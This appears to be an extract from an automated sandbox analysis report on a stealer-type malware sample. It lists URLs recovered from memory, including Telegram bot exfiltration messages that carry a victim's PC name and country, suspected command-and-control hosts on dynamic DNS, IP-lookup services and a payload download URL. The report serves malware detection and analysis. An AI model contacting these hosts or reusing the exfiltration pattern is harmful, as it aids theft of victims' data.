                            https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20and%20Time:%2003/01/2025%20/%2004:14:07%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20138727%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5Dfalse
                              		high
                              https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20and%20Time:%2003/01/2025%20/%2001:16:54%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20138727%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5Dfalse
                                		high

                                URLs from Memory and Binaries

                                NameSourceMaliciousAntivirus DetectionReputation
                                https://duckduckgo.com/chrome_newtabnhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://duckduckgo.com/ac/?q=nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://api.telegram.orgnhpoymuP.pif, 00000007.00000002.2966303963.0000000027BA7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FBE000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpfalse
                                        		high
                                        http://ocsp.sectigo.com0image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C70000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2973878513.000000002A705000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000026081000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2974026107.0000000028E02000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://api.telegram.org/botnhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BA7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FBE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpfalse
                                              		high
                                              https://www.office.com/lBnhpoymuP.pif, 00000007.00000002.2966303963.0000000027CCA000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260DC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C9D000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028CC5000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028AEC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C4F000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028DA6000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BCC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028EE6000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000270D4000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000272F6000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000270AD000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FDE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000271B5000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000026EFC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.000000002705F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://chrome.google.com/webstore?hl=ennhpoymuP.pif, 00000007.00000002.2966303963.0000000027CCF000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BCC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FDE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260E1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://varders.kozow.com:8081nhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F6BC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://fodoknotel.za.com:443/233_Pumyophnrerhvimage.exe, 00000000.00000002.1711881761.000000000089A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://checkip.dyndnLnhpoymuP.pif, 00000003.00000002.1986029241.000000002F777000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://fodoknotel.za.com/233_Pumyophnreimage.exe, 00000000.00000002.1741511764.0000000020BDD000.00000004.00001000.00020000.00000000.sdmptrue
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17InstallnhpoymuP.pif, 00000007.00000002.2969311165.0000000028E9E000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C56000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028D81000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028CA0000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028AC7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C2B000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.000000002703B000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027191000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027066000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000272AE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000026ED7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000270B0000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchnhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://checkip.dyndns.org/qnhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://mail.techniqueqatar.comnhpoymuP.pif, 00000007.00000002.2966303963.0000000027C70000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000026081000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                http://checkip.dyndns.comnhpoymuP.pif, 00000003.00000002.1986029241.000000002F78B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namenhpoymuP.pif, 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F6BC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    http://www.pmail.com0image.exe, 00000000.00000003.1709845321.000000007FCEA000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1744877081.0000000021E00000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1709354096.0000000022711000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020AD0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1745877801.00000000227BB000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, nhpoymuP.pif.0.drfalse
                                                                      		high
                                                                      https://reallyfreegeoip.org/xml/nhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025F24000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://www.office.com/nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260E1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C70000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2973878513.000000002A705000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000026081000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2974026107.0000000028E02000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://sectigo.com/CPS0image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C70000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2973878513.000000002A705000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000026081000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2974026107.0000000028E02000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://www.google.com/images/branding/product/ico/googleg_lodp.iconhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    http://checkip.dyndns.orgnhpoymuP.pif, 00000003.00000002.1986029241.000000002F78B000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F777000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C9D000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028CC5000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028AEC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C4F000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028DA6000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BCC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028EE6000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000270D4000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000272F6000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000270AD000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FDE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000271B5000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000026EFC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.000000002705F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://api.telegram.org/bot/sendMessage?chat_id=&text=nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BA7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FBE000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://www.ecosia.org/newtab/nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://aborters.duckdns.org:8081nhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F6BC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
